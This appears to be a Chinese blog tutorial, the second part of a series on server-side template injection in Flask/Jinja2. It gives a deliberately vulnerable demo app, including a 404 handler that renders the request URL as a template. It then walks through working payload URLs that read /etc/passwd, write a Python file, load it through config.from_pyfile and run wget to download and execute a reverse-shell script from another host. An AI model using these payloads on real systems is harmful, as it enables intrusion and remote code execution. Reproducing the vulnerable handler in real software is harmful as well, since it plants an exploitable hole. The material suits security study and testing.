FlaskJinja2 开发中遇到的的服务端注入问题研究 II

栏目: Python · 发布时间: 8年前

内容简介:FlaskJinja2 开发中遇到的的服务端注入问题研究 II

0×00. 前言

本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》 续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。

0×01. 测试代码

为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个 python 脚本组成, 其中page_not_found 存在SSTI漏洞:

Flask-test.py

    #!/usr/bin/env python
    # -*- coding:utf8 -*-
    
    
    import hashlib
    import logging
    from datetime import timedelta
    
    from flask import Flask
    from flask import request
    from flask import config
    from flask import session
    from flask import render_template_string
    
    
    from Config import ProductionConfig
    
    app = Flask(__name__)
    handler = logging.StreamHandler()
    logging_format = logging.Formatter(
                '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
    handler.setFormatter(logging_format)
    app.logger.addHandler(handler)
    
    app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
    app.config.from_object(ProductionConfig) #将配置类中的配置导入程序
    app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
    page_size = 60
    app.config['UPLOAD_DIR'] = '/var/www/html/upload'
    app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
    app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'
    
    
    
    @app.route('/')
    def hello_world():
        return 'Hello World!'
    
    @app.errorhandler(404)
    def page_not_found(e):
        template = '''
    {%% block body %%}
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div>
    {%% endblock %%}
    ''' % (request.url)
        return render_template_string(template, dir=dir,help=help, locals=locals), 404
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0')

 Config.py

    #!/usr/bin/env python
    # -*- coding: UTF-8 -*-
    
    
    class Config(object):
        ACCOUNT = 'vpgame'
        PASSWORD = 'win666666'
    
    
    class DevlopmentConfig(Config):
        pass
    
    
    class TestingConfig(Config):
        pass
    
    
    class ProductionConfig(Config):
        HOST = '127.0.0.1'
        PORT = 65521
        DBUSERNAME = 'vpgame'
        DBPASSWORD = 'win666666'
        DBNAME = 'vpgame'

执行 python Flask-test.py

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取

先介绍一些概念

关于类对象

instance.__class__ 可以获取当前实例的类对象

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新

式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)

类对象中的属性__mro__

class.__mro__ 获取当前类对象的所有继承类

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序

http://10.1.100.3:5000/ {{”.__class__.__mro__}}

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

从结果中可以发现”对应的类对象str继承的顺序是basestring->object

类对象中的方法__subclasses__()

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

开始漏洞利用

首先获取object对象的所有子类引用列表

http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()}}

”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取

我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’

http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

可以看到成功实现了任意文件读取

0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行

1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg

访问如下URL

http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}

注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

至此写入文件成功

2 利用Flask Template Globals 中的config上下文对象导入py代码

上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:

    def from_pyfile(self, filename, silent=False):
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)

先访问:

http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/tmp.cfg’)}}

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

再访问:

http://10.1.100.3:5000/ {{config.items()}}

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output

3 利用注入的RUNCMD 执行系统命令下载反弹shell

访问:

http://10.1.100.3:5000/ {{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}

FlaskJinja2 开发中遇到的的服务端注入问题研究 II

从执行结果来看,反弹 shell 下载成功

4 利用config 上下文对象的from_pyfile方法导入反弹shell

我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了

访问:

http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/x’)}}

FlaskJinja2 开发中遇到的的服务端注入问题研究 II


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Algorithms + Data Structures = Programs

Algorithms + Data Structures = Programs

Niklaus Wirth / Prentice Hall / 1975-11-11 / GBP 84.95

It might seem completely dated with all its examples written in the now outmoded Pascal programming language (well, unless you are one of those Delphi zealot trying to resist to the Java/.NET dominanc......一起来看看 《Algorithms + Data Structures = Programs》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

MD5 加密
MD5 加密

MD5 加密工具